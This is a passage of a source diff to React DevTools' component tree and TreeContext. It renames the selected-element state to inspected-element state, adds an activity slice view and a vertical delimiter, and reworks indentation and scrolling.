+      elementTop >= viewportTop &&
+      elementBottom <= viewportBottom &&
+      elementLeft >= viewportLeft &&
+      elementRight <= viewportRight;
+
+    if (!isElementFullyVisible) {
+      const verticalDelta =
+        Math.min(0, elementTop - viewportTop) +
+        Math.max(0, elementBottom - viewportBottom);
+      const horizontalDelta =
+        Math.min(0, elementLeft - viewportLeft) +
+        Math.max(0, elementRight - viewportRight);
+
+      // $FlowExpectedError[incompatible-call] Flow doesn't support instant as an option for behavior.
+      listDOMElement.scrollBy({
+        top: verticalDelta,
+        left: horizontalDelta,
+        behavior: treeFocused && ownerID == null ? 'smooth' : 'instant',
+      });
+    }
+  }, [inspectedElementIndex, componentsPanelVisible, lineHeight]);
 
   // Picking an element in the inspector should put focus into the tree.
-  // This ensures that keyboard navigation works right after picking a node.
+  // If possible, navigation works right after picking a node.
+  // NOTE: This is not guaranteed to work, because browser extension panels are hosted inside an iframe.
   useEffect(() => {
-    function handleStopInspectingNative(didSelectNode: boolean) {
+    function handleStopInspectingHost(didSelectNode: boolean) {
       if (didSelectNode && focusTargetRef.current !== null) {
         focusTargetRef.current.focus();
         logEvent({
@@ -107,16 +203,11 @@ export default function Tree(props: Props): React.Node {
         });
       }
     }
-    bridge.addListener('stopInspectingNative', handleStopInspectingNative);
+    bridge.addListener('stopInspectingHost', handleStopInspectingHost);
     return () =>
-      bridge.removeListener('stopInspectingNative', handleStopInspectingNative);
+      bridge.removeListener('stopInspectingHost', handleStopInspectingHost);
   }, [bridge]);
 
-  // This ref is passed down the context to elements.
-  // It lets them avoid autoscrolling to the same item many times
-  // when a selected virtual row goes in and out of the viewport.
-  const lastScrolledIDRef = useRef<number | null>(null);
-
   // Navigate the tree with up/down arrow keys.
   useEffect(() => {
     if (treeRef.current === null) {
@@ -141,8 +232,8 @@ export default function Tree(props: Props): React.Node {
         case 'ArrowLeft':
           event.preventDefault();
           element =
-            selectedElementID !== null
-              ? store.getElementByID(selectedElementID)
+            inspectedElementID !== null
+              ? store.getElementByID(inspectedElementID)
               : null;
           if (element !== null) {
             if (event.altKey) {
@@ -161,8 +252,8 @@ export default function Tree(props: Props): React.Node {
         case 'ArrowRight':
           event.preventDefault();
           element =
-            selectedElementID !== null
-              ? store.getElementByID(selectedElementID)
+            inspectedElementID !== null
+              ? store.getElementByID(inspectedElementID)
               : null;
           if (element !== null) {
             if (event.altKey) {
@@ -210,35 +301,38 @@ export default function Tree(props: Props): React.Node {
     return () => {
       container.removeEventListener('keydown', handleKeyDown);
     };
-  }, [dispatch, selectedElementID, store]);
+  }, [dispatch, inspectedElementID, store]);
 
   // Focus management.
   const handleBlur = useCallback(() => setTreeFocused(false), []);
-  const handleFocus = useCallback(() => {
-    setTreeFocused(true);
-
-    if (selectedElementIndex === null && numElements > 0) {
-      dispatch({
-        type: 'SELECT_ELEMENT_AT_INDEX',
-        payload: 0,
-      });
-    }
-  }, [dispatch, numElements, selectedElementIndex]);
+  const handleFocus = useCallback(() => setTreeFocused(true), []);
 
+  const changeActivitySliceAction = useChangeActivitySliceAction();
+  const changeOwnerAction = useChangeOwnerAction();
   const handleKeyPress = useCallback(
     (event: $FlowFixMe) => {
       switch (event.key) {
         case 'Enter':
         case ' ':
-          if (selectedElementID !== null) {
-            dispatch({type: 'SELECT_OWNER', payload: selectedElementID});
+          if (inspectedElementID !== null) {
+            const inspectedElement = store.getElementByID(inspectedElementID);
+            startTransition(() => {
+              if (
+                inspectedElement !== null &&
+                inspectedElement.type === ElementTypeActivity
+              ) {
+                changeActivitySliceAction(inspectedElementID);
+              } else {
+                changeOwnerAction(inspectedElementID);
+              }
+            });
           }
           break;
         default:
           break;
       }
     },
-    [dispatch, selectedElementID],
+    [dispatch, inspectedElementID],
   );
 
   // If we switch the selected element while using the keyboard,
@@ -255,19 +349,19 @@ export default function Tree(props: Props): React.Node {
       didSelectNewSearchResult = true;
     }
     if (isNavigatingWithKeyboard || didSelectNewSearchResult) {
-      if (selectedElementID !== null) {
-        highlightNativeElement(selectedElementID);
+      if (inspectedElementID !== null) {
+        highlightHostInstance(inspectedElementID);
       } else {
-        clearHighlightNativeElement();
+        clearHighlightHostInstance();
       }
     }
   }, [
     bridge,
     isNavigatingWithKeyboard,
-    highlightNativeElement,
+    highlightHostInstance,
     searchIndex,
     searchResults,
-    selectedElementID,
+    inspectedElementID,
   ]);
 
   // Highlight last hovered element.
@@ -276,10 +370,10 @@ export default function Tree(props: Props): React.Node {
       // Ignore hover while we're navigating with keyboard.
       // This avoids flicker from the hovered nodes under the mouse.
       if (!isNavigatingWithKeyboard) {
-        highlightNativeElement(id);
+        highlightHostInstance(id);
       }
     },
-    [isNavigatingWithKeyboard, highlightNativeElement],
+    [isNavigatingWithKeyboard, highlightHostInstance],
   );
 
   const handleMouseMove = useCallback(() => {
@@ -288,24 +382,22 @@ export default function Tree(props: Props): React.Node {
     setIsNavigatingWithKeyboard(false);
   }, []);
 
-  const handleMouseLeave = clearHighlightNativeElement;
+  const handleMouseLeave = clearHighlightHostInstance;
 
   // Let react-window know to re-render any time the underlying tree data changes.
   // This includes the owner context, since it controls a filtered view of the tree.
   const itemData = useMemo<ItemData>(
     () => ({
-      numElements,
       isNavigatingWithKeyboard,
       onElementMouseEnter: handleElementMouseEnter,
-      lastScrolledIDRef,
       treeFocused,
+      calculateElementOffset,
     }),
     [
-      numElements,
       isNavigatingWithKeyboard,
       handleElementMouseEnter,
-      lastScrolledIDRef,
       treeFocused,
+      calculateElementOffset,
     ],
   );
 
@@ -325,8 +417,8 @@ export default function Tree(props: Props): React.Node {
   const errorsOrWarningsSubscription = useMemo(
     () => ({
       getCurrentValue: () => ({
-        errors: store.errorCount,
-        warnings: store.warningCount,
+        errors: store.componentWithErrorCount,
+        warnings: store.componentWithWarningCount,
       }),
       subscribe: (callback: Function) => {
         store.addListener('mutated', callback);
@@ -368,42 +460,46 @@ export default function Tree(props: Props): React.Node {
             </Fragment>
           )}
           <Suspense fallback={<Loading />}>
-            {ownerID !== null ? <OwnersStack /> : <ComponentSearchInput />}
-          </Suspense>
-          {showInlineWarningsAndErrors &&
-            ownerID === null &&
-            (errors > 0 || warnings > 0) && (
-              <React.Fragment>
-                <div className={styles.VRule} />
-                {errors > 0 && (
-                  <div className={styles.IconAndCount}>
-                    <Icon className={styles.ErrorIcon} type="error" />
-                    {errors}
-                  </div>
-                )}
-                {warnings > 0 && (
-                  <div className={styles.IconAndCount}>
-                    <Icon className={styles.WarningIcon} type="warning" />
-                    {warnings}
-                  </div>
-                )}
-                <Button
-                  onClick={handlePreviousErrorOrWarningClick}
-                  title="Scroll to previous error or warning">
-                  <ButtonIcon type="up" />
-                </Button>
-                <Button
-                  onClick={handleNextErrorOrWarningClick}
-                  title="Scroll to next error or warning">
-                  <ButtonIcon type="down" />
-                </Button>
-                <Button
-                  onClick={clearErrorsAndWarnings}
-                  title="Clear all errors and warnings">
-                  <ButtonIcon type="clear" />
-                </Button>
-              </React.Fragment>
+            {ownerID !== null ? (
+              <OwnersStack />
+            ) : activityID !== null ? (
+              <ActivitySlice />
+            ) : (
+              <ComponentSearchInput />
             )}
+          </Suspense>
+          {ownerID === null && (errors > 0 || warnings > 0) && (
+            <React.Fragment>
+              <div className={styles.VRule} />
+              {errors > 0 && (
+                <div className={styles.IconAndCount}>
+                  <Icon className={styles.ErrorIcon} type="error" />
+                  {errors}
+                </div>
+              )}
+              {warnings > 0 && (
+                <div className={styles.IconAndCount}>
+                  <Icon className={styles.WarningIcon} type="warning" />
+                  {warnings}
+                </div>
+              )}
+              <Button
+                onClick={handlePreviousErrorOrWarningClick}
+                title="Scroll to previous error or warning">
+                <ButtonIcon type="up" />
+              </Button>
+              <Button
+                onClick={handleNextErrorOrWarningClick}
+                title="Scroll to next error or warning">
+                <ButtonIcon type="down" />
+              </Button>
+              <Button
+                onClick={clearErrorsAndWarnings}
+                title="Clear all errors and warnings">
+                <ButtonIcon type="clear" />
+              </Button>
+            </React.Fragment>
+          )}
           {!hideSettings && (
             <Fragment>
               <div className={styles.VRule} />
@@ -428,14 +524,19 @@ export default function Tree(props: Props): React.Node {
                 <FixedSizeList
                   className={styles.List}
                   height={height}
+                  initialScrollOffset={calculateInitialScrollOffset(
+                    inspectedElementIndex,
+                    lineHeight,
+                  )}
                   innerElementType={InnerElementType}
                   itemCount={numElements}
                   itemData={itemData}
                   itemKey={itemKey}
                   itemSize={lineHeight}
-                  ref={listCallbackRef}
+                  outerRef={setListDOMElementRef}
+                  overscanCount={10}
                   width={width}>
-                  {Element}
+                  {ComponentsTreeElement}
                 </FixedSizeList>
               )}
             </AutoSizer>
@@ -446,150 +547,57 @@ export default function Tree(props: Props): React.Node {
   );
 }
 
-// Indentation size can be adjusted but child width is fixed.
-// We need to adjust indentations so the widest child can fit without overflowing.
-// Sometimes the widest child is also the deepest in the tree:
-//   ┏----------------------┓
-//   ┆ <Foo>                ┆
-//   ┆ ••••<Foobar>         ┆
-//   ┆ ••••••••<Baz>        ┆
-//   ┗----------------------┛
-//
-// But this is not always the case.
-// Even with the above example, a change in indentation may change the overall widest child:
-//   ┏----------------------┓
-//   ┆ <Foo>                ┆
-//   ┆ ••<Foobar>           ┆
-//   ┆ ••••<Baz>            ┆
-//   ┗----------------------┛
-//
-// In extreme cases this difference can be important:
-//   ┏----------------------┓
-//   ┆ <ReallyLongName>     ┆
-//   ┆ ••<Foo>              ┆
-//   ┆ ••••<Bar>            ┆
-//   ┆ ••••••<Baz>          ┆
-//   ┆ ••••••••<Qux>        ┆
-//   ┗----------------------┛
-//
-// In the above example, the current indentation is fine,
-// but if we naively assumed that the widest element is also the deepest element,
-// we would end up compressing the indentation unnecessarily:
-//   ┏----------------------┓
-//   ┆ <ReallyLongName>     ┆
-//   ┆ •<Foo>               ┆
-//   ┆ ••<Bar>              ┆
-//   ┆ •••<Baz>             ┆
-//   ┆ ••••<Qux>            ┆
-//   ┗----------------------┛
-//
-// The way we deal with this is to compute the max indentation size that can fit each child,
-// given the child's fixed width and depth within the tree.
-// Then we take the smallest of these indentation sizes...
-function updateIndentationSizeVar(
-  innerDiv: HTMLDivElement,
-  cachedChildWidths: WeakMap<HTMLElement, number>,
-  indentationSizeRef: {current: number},
-  prevListWidthRef: {current: number},
-): void {
-  const list = ((innerDiv.parentElement: any): HTMLDivElement);
-  const listWidth = list.clientWidth;
-
-  // Skip measurements when the Components panel is hidden.
-  if (listWidth === 0) {
-    return;
-  }
-
-  // Reset the max indentation size if the width of the tree has increased.
-  if (listWidth > prevListWidthRef.current) {
-    indentationSizeRef.current = DEFAULT_INDENTATION_SIZE;
-  }
-  prevListWidthRef.current = listWidth;
-
-  let maxIndentationSize: number = indentationSizeRef.current;
-
-  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-  for (const child of innerDiv.children) {
-    const depth = parseInt(child.getAttribute('data-depth'), 10) || 0;
-
-    let childWidth: number = 0;
-
-    const cachedChildWidth = cachedChildWidths.get(child);
-    if (cachedChildWidth != null) {
-      childWidth = cachedChildWidth;
-    } else {
-      const {firstElementChild} = child;
-
-      // Skip over e.g. the guideline element
-      if (firstElementChild != null) {
-        childWidth = firstElementChild.clientWidth;
-        cachedChildWidths.set(child, childWidth);
-      }
-    }
-
-    const remainingWidth = Math.max(0, listWidth - childWidth);
+// $FlowFixMe[missing-local-annot]
+function InnerElementType({children, style}) {
+  const store = useContext(StoreContext);
 
-    maxIndentationSize = Math.min(maxIndentationSize, remainingWidth / depth);
-  }
+  const {height} = style;
+  const maxDepth = store.getMaximumRecordedDepth();
+  // Maximum possible indentation plus some arbitrary offset for the node content.
+  const width = calculateElementOffset(maxDepth) + 500;
 
-  indentationSizeRef.current = maxIndentationSize;
+  return (
+    <div className={styles.InnerElementType} style={{height, width}}>
+      {children}
 
-  list.style.setProperty('--indentation-size', `${maxIndentationSize}px`);
+      <VerticalDelimiter />
+    </div>
+  );
 }
 
-// $FlowFixMe[missing-local-annot]
-function InnerElementType({children, style}) {
-  const {ownerID} = useContext(TreeStateContext);
+function VerticalDelimiter() {
+  const store = useContext(StoreContext);
+  const {ownerID, inspectedElementIndex} = useContext(TreeStateContext);
+  const {lineHeight} = useContext(SettingsContext);
 
-  const cachedChildWidths = useMemo<WeakMap<HTMLElement, number>>(
-    () => new WeakMap(),
-    [],
-  );
+  if (ownerID != null || inspectedElementIndex == null) {
+    return null;
+  }
 
-  // This ref tracks the current indentation size.
-  // We decrease indentation to fit wider/deeper trees.
-  // We intentionally do not increase it again afterward, to avoid the perception of content "jumping"
-  // e.g. clicking to toggle/collapse a row might otherwise jump horizontally beneath your cursor,
-  // e.g. scrolling a wide row off screen could cause narrower rows to jump to the right some.
-  //
-  // There are two exceptions for this:
-  // 1. The first is when the width of the tree increases.
-  // The user may have resized the window specifically to make more room for DevTools.
-  // In either case, this should reset our max indentation size logic.
-  // 2. The second is when the user enters or exits an owner tree.
-  const indentationSizeRef = useRef<number>(DEFAULT_INDENTATION_SIZE);
-  const prevListWidthRef = useRef<number>(0);
-  const prevOwnerIDRef = useRef<number | null>(ownerID);
-  const divRef = useRef<HTMLDivElement | null>(null);
-
-  // We shouldn't retain this width across different conceptual trees though,
-  // so when the user opens the "owners tree" view, we should discard the previous width.
-  if (ownerID !== prevOwnerIDRef.current) {
-    prevOwnerIDRef.current = ownerID;
-    indentationSizeRef.current = DEFAULT_INDENTATION_SIZE;
+  const element = store.getElementAtIndex(inspectedElementIndex);
+  if (element == null) {
+    return null;
+  }
+  const indexOfLowestDescendant =
+    store.getIndexOfLowestDescendantElement(element);
+  if (indexOfLowestDescendant == null) {
+    return null;
   }
 
-  // When we render new content, measure to see if we need to shrink indentation to fit it.
-  useEffect(() => {
-    if (divRef.current !== null) {
-      updateIndentationSizeVar(
-        divRef.current,
-        cachedChildWidths,
-        indentationSizeRef,
-        prevListWidthRef,
-      );
-    }
-  });
+  const delimiterLeft = calculateElementOffset(element.depth) + 12;
+  const delimiterTop = (inspectedElementIndex + 1) * lineHeight;
+  const delimiterHeight =
+    (indexOfLowestDescendant + 1) * lineHeight - delimiterTop;
 
-  // This style override enables the background color to fill the full visible width,
-  // when combined with the CSS tweaks in Element.
-  // A lot of options were considered; this seemed the one that requires the least code.
-  // See https://github.com/bvaughn/react-devtools-experimental/issues/9
   return (
-    <div className={styles.InnerElementType} ref={divRef} style={style}>
-      <SelectedTreeHighlight />
-      {children}
-    </div>
+    <div
+      className={styles.VerticalDelimiter}
+      style={{
+        left: delimiterLeft,
+        top: delimiterTop,
+        height: delimiterHeight,
+      }}
+    />
   );
 }
 
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/TreeContext.js b/packages/react-devtools-shared/src/devtools/views/Components/TreeContext.js
index 6d4dec6472b0..80b1e9dce3e3 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/TreeContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/TreeContext.js
@@ -29,7 +29,6 @@ import type {ReactContext} from 'shared/ReactTypes';
 import * as React from 'react';
 import {
   createContext,
-  useCallback,
   useContext,
   useEffect,
   useLayoutEffect,
@@ -39,7 +38,7 @@ import {
   startTransition,
 } from 'react';
 import {createRegExp} from '../utils';
-import {BridgeContext, StoreContext} from '../context';
+import {StoreContext} from '../context';
 import Store from '../../store';
 
 import type {Element} from 'react-devtools-shared/src/frontend/types';
@@ -48,8 +47,6 @@ export type StateContext = {
   // Tree
   numElements: number,
   ownerSubtreeLeafElementID: number | null,
-  selectedElementID: number | null,
-  selectedElementIndex: number | null,
 
   // Search
   searchIndex: number | null,
@@ -60,8 +57,13 @@ export type StateContext = {
   ownerID: number | null,
   ownerFlatTree: Array<Element> | null,
 
+  // Activity slice
+  activityID: Element['id'] | null,
+  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,
+
   // Inspection element panel
   inspectedElementID: number | null,
+  inspectedElementIndex: number | null,
 };
 
 type ACTION_GO_TO_NEXT_SEARCH_RESULT = {
@@ -72,7 +74,7 @@ type ACTION_GO_TO_PREVIOUS_SEARCH_RESULT = {
 };
 type ACTION_HANDLE_STORE_MUTATION = {
   type: 'HANDLE_STORE_MUTATION',
-  payload: [Array<number>, Map<number, number>],
+  payload: [Array<number>, Map<number, number>, null | Element['id']],
 };
 type ACTION_RESET_OWNER_STACK = {
   type: 'RESET_OWNER_STACK',
@@ -123,9 +125,6 @@ type ACTION_SET_SEARCH_TEXT = {
   type: 'SET_SEARCH_TEXT',
   payload: string,
 };
-type ACTION_UPDATE_INSPECTED_ELEMENT_ID = {
-  type: 'UPDATE_INSPECTED_ELEMENT_ID',
-};
 
 type Action =
   | ACTION_GO_TO_NEXT_SEARCH_RESULT
@@ -145,8 +144,7 @@ type Action =
   | ACTION_SELECT_PREVIOUS_SIBLING_IN_TREE
   | ACTION_SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE
   | ACTION_SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE
-  | ACTION_SET_SEARCH_TEXT
-  | ACTION_UPDATE_INSPECTED_ELEMENT_ID;
+  | ACTION_SET_SEARCH_TEXT;
 
 export type DispatcherContext = (action: Action) => void;
 
@@ -154,6 +152,7 @@ const TreeStateContext: ReactContext<StateContext> =
   createContext<StateContext>(((null: any): StateContext));
 TreeStateContext.displayName = 'TreeStateContext';
 
+// TODO: `dispatch` is an Action and should be named accordingly.
 const TreeDispatcherContext: ReactContext<DispatcherContext> =
   createContext<DispatcherContext>(((null: any): DispatcherContext));
 TreeDispatcherContext.displayName = 'TreeDispatcherContext';
@@ -162,8 +161,6 @@ type State = {
   // Tree
   numElements: number,
   ownerSubtreeLeafElementID: number | null,
-  selectedElementID: number | null,
-  selectedElementIndex: number | null,
 
   // Search
   searchIndex: number | null,
@@ -174,16 +171,21 @@ type State = {
   ownerID: number | null,
   ownerFlatTree: Array<Element> | null,
 
+  // Activity slice
+  activityID: Element['id'] | null,
+  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,
+
   // Inspection element panel
   inspectedElementID: number | null,
+  inspectedElementIndex: number | null,
 };
 
 function reduceTreeState(store: Store, state: State, action: Action): State {
   let {
     numElements,
     ownerSubtreeLeafElementID,
-    selectedElementIndex,
-    selectedElementID,
+    inspectedElementID,
+    inspectedElementIndex,
   } = state;
   const ownerID = state.ownerID;
 
@@ -201,34 +203,33 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         // We deduce the parent-child mapping from removedIDs (id -> parentID)
         // because by now it's too late to read them from the store.
         while (
-          selectedElementID !== null &&
-          removedIDs.has(selectedElementID)
+          inspectedElementID !== null &&
+          removedIDs.has(inspectedElementID)
         ) {
-          selectedElementID = ((removedIDs.get(
-            selectedElementID,
-          ): any): number);
+          // $FlowExpectedError[incompatible-type]
+          inspectedElementID = removedIDs.get(inspectedElementID);
         }
-        if (selectedElementID === 0) {
+        if (inspectedElementID === 0) {
           // The whole root was removed.
-          selectedElementIndex = null;
+          inspectedElementIndex = null;
         }
         break;
       case 'SELECT_CHILD_ELEMENT_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
-        if (selectedElementIndex !== null) {
-          const selectedElement = store.getElementAtIndex(
-            ((selectedElementIndex: any): number),
+        if (inspectedElementIndex !== null) {
+          const inspectedElement = store.getElementAtIndex(
+            inspectedElementIndex,
           );
           if (
-            selectedElement !== null &&
-            selectedElement.children.length > 0 &&
-            !selectedElement.isCollapsed
+            inspectedElement !== null &&
+            inspectedElement.children.length > 0 &&
+            !inspectedElement.isCollapsed
           ) {
-            const firstChildID = selectedElement.children[0];
+            const firstChildID = inspectedElement.children[0];
             const firstChildIndex = store.getIndexOfElementID(firstChildID);
             if (firstChildIndex !== null) {
-              selectedElementIndex = firstChildIndex;
+              inspectedElementIndex = firstChildIndex;
             }
           }
         }
@@ -236,7 +237,8 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
       case 'SELECT_ELEMENT_AT_INDEX':
         ownerSubtreeLeafElementID = null;
 
-        selectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX).payload;
+        inspectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX)
+          .payload;
         break;
       case 'SELECT_ELEMENT_BY_ID':
         ownerSubtreeLeafElementID = null;
@@ -245,30 +247,30 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         // It might also cause problems if the specified element was inside of a (not yet expanded) subtree.
         lookupIDForIndex = false;
 
-        selectedElementID = (action: ACTION_SELECT_ELEMENT_BY_ID).payload;
-        selectedElementIndex =
-          selectedElementID === null
+        inspectedElementID = (action: ACTION_SELECT_ELEMENT_BY_ID).payload;
+        inspectedElementIndex =
+          inspectedElementID === null
             ? null
-            : store.getIndexOfElementID(selectedElementID);
+            : store.getIndexOfElementID(inspectedElementID);
         break;
       case 'SELECT_NEXT_ELEMENT_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
         if (
-          selectedElementIndex === null ||
-          selectedElementIndex + 1 >= numElements
+          inspectedElementIndex === null ||
+          inspectedElementIndex + 1 >= numElements
         ) {
-          selectedElementIndex = 0;
+          inspectedElementIndex = 0;
         } else {
-          selectedElementIndex++;
+          inspectedElementIndex++;
         }
         break;
       case 'SELECT_NEXT_SIBLING_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           const selectedElement = store.getElementAtIndex(
-            ((selectedElementIndex: any): number),
+            ((inspectedElementIndex: any): number),
           );
           if (selectedElement !== null && selectedElement.parentID !== 0) {
             const parent = store.getElementByID(selectedElement.parentID);
@@ -279,23 +281,23 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
                 selectedChildIndex < children.length - 1
                   ? children[selectedChildIndex + 1]
                   : children[0];
-              selectedElementIndex = store.getIndexOfElementID(nextChildID);
+              inspectedElementIndex = store.getIndexOfElementID(nextChildID);
             }
           }
         }
         break;
       case 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE':
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           if (
             ownerSubtreeLeafElementID !== null &&
-            ownerSubtreeLeafElementID !== selectedElementID
+            ownerSubtreeLeafElementID !== inspectedElementID
           ) {
             const leafElement = store.getElementByID(ownerSubtreeLeafElementID);
             if (leafElement !== null) {
               let currentElement: null | Element = leafElement;
               while (currentElement !== null) {
-                if (currentElement.ownerID === selectedElementID) {
-                  selectedElementIndex = store.getIndexOfElementID(
+                if (currentElement.ownerID === inspectedElementID) {
+                  inspectedElementIndex = store.getIndexOfElementID(
                     currentElement.id,
                   );
                   break;
@@ -308,23 +310,23 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         }
         break;
       case 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE':
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           if (ownerSubtreeLeafElementID === null) {
             // If this is the first time we're stepping through the owners tree,
             // pin the current component as the owners list leaf.
             // This will enable us to step back down to this component.
-            ownerSubtreeLeafElementID = selectedElementID;
+            ownerSubtreeLeafElementID = inspectedElementID;
           }
 
           const selectedElement = store.getElementAtIndex(
-            ((selectedElementIndex: any): number),
+            ((inspectedElementIndex: any): number),
           );
           if (selectedElement !== null && selectedElement.ownerID !== 0) {
             const ownerIndex = store.getIndexOfElementID(
               selectedElement.ownerID,
             );
             if (ownerIndex !== null) {
-              selectedElementIndex = ownerIndex;
+              inspectedElementIndex = ownerIndex;
             }
           }
         }
@@ -332,16 +334,16 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
       case 'SELECT_PARENT_ELEMENT_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           const selectedElement = store.getElementAtIndex(
-            ((selectedElementIndex: any): number),
+            ((inspectedElementIndex: any): number),
           );
           if (selectedElement !== null && selectedElement.parentID !== 0) {
             const parentIndex = store.getIndexOfElementID(
               selectedElement.parentID,
             );
             if (parentIndex !== null) {
-              selectedElementIndex = parentIndex;
+              inspectedElementIndex = parentIndex;
             }
           }
         }
@@ -349,18 +351,18 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
       case 'SELECT_PREVIOUS_ELEMENT_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
-        if (selectedElementIndex === null || selectedElementIndex === 0) {
-          selectedElementIndex = numElements - 1;
+        if (inspectedElementIndex === null || inspectedElementIndex === 0) {
+          inspectedElementIndex = numElements - 1;
         } else {
-          selectedElementIndex--;
+          inspectedElementIndex--;
         }
         break;
       case 'SELECT_PREVIOUS_SIBLING_IN_TREE':
         ownerSubtreeLeafElementID = null;
 
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           const selectedElement = store.getElementAtIndex(
-            ((selectedElementIndex: any): number),
+            ((inspectedElementIndex: any): number),
           );
           if (selectedElement !== null && selectedElement.parentID !== 0) {
             const parent = store.getElementByID(selectedElement.parentID);
@@ -371,7 +373,7 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
                 selectedChildIndex > 0
                   ? children[selectedChildIndex - 1]
                   : children[children.length - 1];
-              selectedElementIndex = store.getIndexOfElementID(nextChildID);
+              inspectedElementIndex = store.getIndexOfElementID(nextChildID);
             }
           }
         }
@@ -384,7 +386,7 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         }
 
         let flatIndex = 0;
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           // Resume from the current position in the list.
           // Otherwise step to the previous item, relative to the current selection.
           for (
@@ -393,7 +395,7 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
             i--
           ) {
             const {index} = elementIndicesWithErrorsOrWarnings[i];
-            if (index >= selectedElementIndex) {
+            if (index >= inspectedElementIndex) {
               flatIndex = i;
             } else {
               break;
@@ -407,12 +409,12 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
             elementIndicesWithErrorsOrWarnings[
               elementIndicesWithErrorsOrWarnings.length - 1
             ];
-          selectedElementID = prevEntry.id;
-          selectedElementIndex = prevEntry.index;
+          inspectedElementID = prevEntry.id;
+          inspectedElementIndex = prevEntry.index;
         } else {
           prevEntry = elementIndicesWithErrorsOrWarnings[flatIndex - 1];
-          selectedElementID = prevEntry.id;
-          selectedElementIndex = prevEntry.index;
+          inspectedElementID = prevEntry.id;
+          inspectedElementIndex = prevEntry.index;
         }
 
         lookupIDForIndex = false;
@@ -426,12 +428,12 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         }
 
         let flatIndex = -1;
-        if (selectedElementIndex !== null) {
+        if (inspectedElementIndex !== null) {
           // Resume from the current position in the list.
           // Otherwise step to the next item, relative to the current selection.
           for (let i = 0; i < elementIndicesWithErrorsOrWarnings.length; i++) {
             const {index} = elementIndicesWithErrorsOrWarnings[i];
-            if (index <= selectedElementIndex) {
+            if (index <= inspectedElementIndex) {
               flatIndex = i;
             } else {
               break;
@@ -442,12 +444,12 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
         let nextEntry;
         if (flatIndex >= elementIndicesWithErrorsOrWarnings.length - 1) {
           nextEntry = elementIndicesWithErrorsOrWarnings[0];
-          selectedElementID = nextEntry.id;
-          selectedElementIndex = nextEntry.index;
+          inspectedElementID = nextEntry.id;
+          inspectedElementIndex = nextEntry.index;
         } else {
           nextEntry = elementIndicesWithErrorsOrWarnings[flatIndex + 1];
-          selectedElementID = nextEntry.id;
-          selectedElementIndex = nextEntry.index;
+          inspectedElementID = nextEntry.id;
+          inspectedElementIndex = nextEntry.index;
         }
 
         lookupIDForIndex = false;
@@ -460,12 +462,15 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
   }
 
   // Keep selected item ID and index in sync.
-  if (lookupIDForIndex && selectedElementIndex !== state.selectedElementIndex) {
-    if (selectedElementIndex === null) {
-      selectedElementID = null;
+  if (
+    lookupIDForIndex &&
+    inspectedElementIndex !== state.inspectedElementIndex
+  ) {
+    if (inspectedElementIndex === null) {
+      inspectedElementID = null;
     } else {
-      selectedElementID = store.getElementIDAtIndex(
-        ((selectedElementIndex: any): number),
+      inspectedElementID = store.getElementIDAtIndex(
+        ((inspectedElementIndex: any): number),
       );
     }
   }
@@ -475,8 +480,8 @@ function reduceTreeState(store: Store, state: State, action: Action): State {
 
     numElements,
     ownerSubtreeLeafElementID,
-    selectedElementIndex,
-    selectedElementID,
+    inspectedElementIndex,
+    inspectedElementID,
   };
 }
 
@@ -485,8 +490,8 @@ function reduceSearchState(store: Store, state: State, action: Action): State {
     searchIndex,
     searchResults,
     searchText,
-    selectedElementID,
-    selectedElementIndex,
+    inspectedElementID,
+    inspectedElementIndex,
   } = state;
   const ownerID = state.ownerID;
 
@@ -594,11 +599,11 @@ function reduceSearchState(store: Store, state: State, action: Action): State {
           });
           if (searchResults.length > 0) {
             if (prevSearchIndex === null) {
-              if (selectedElementIndex !== null) {
+              if (inspectedElementIndex !== null) {
                 searchIndex = getNearestResultIndex(
                   store,
                   searchResults,
-                  selectedElementIndex,
+                  inspectedElementIndex,
                 );
               } else {
                 searchIndex = 0;
@@ -619,7 +624,7 @@ function reduceSearchState(store: Store, state: State, action: Action): State {
   }
 
   if (searchText !== prevSearchText) {
-    const newSearchIndex = searchResults.indexOf(selectedElementID);
+    const newSearchIndex = searchResults.indexOf(inspectedElementID);
     if (newSearchIndex === -1) {
       // Only move the selection if the new query
       // doesn't match the current selection anymore.
@@ -631,17 +636,17 @@ function reduceSearchState(store: Store, state: State, action: Action): State {
     }
   }
   if (didRequestSearch && searchIndex !== null) {
-    selectedElementID = ((searchResults[searchIndex]: any): number);
-    selectedElementIndex = store.getIndexOfElementID(
-      ((selectedElementID: any): number),
+    inspectedElementID = ((searchResults[searchIndex]: any): number);
+    inspectedElementIndex = store.getIndexOfElementID(
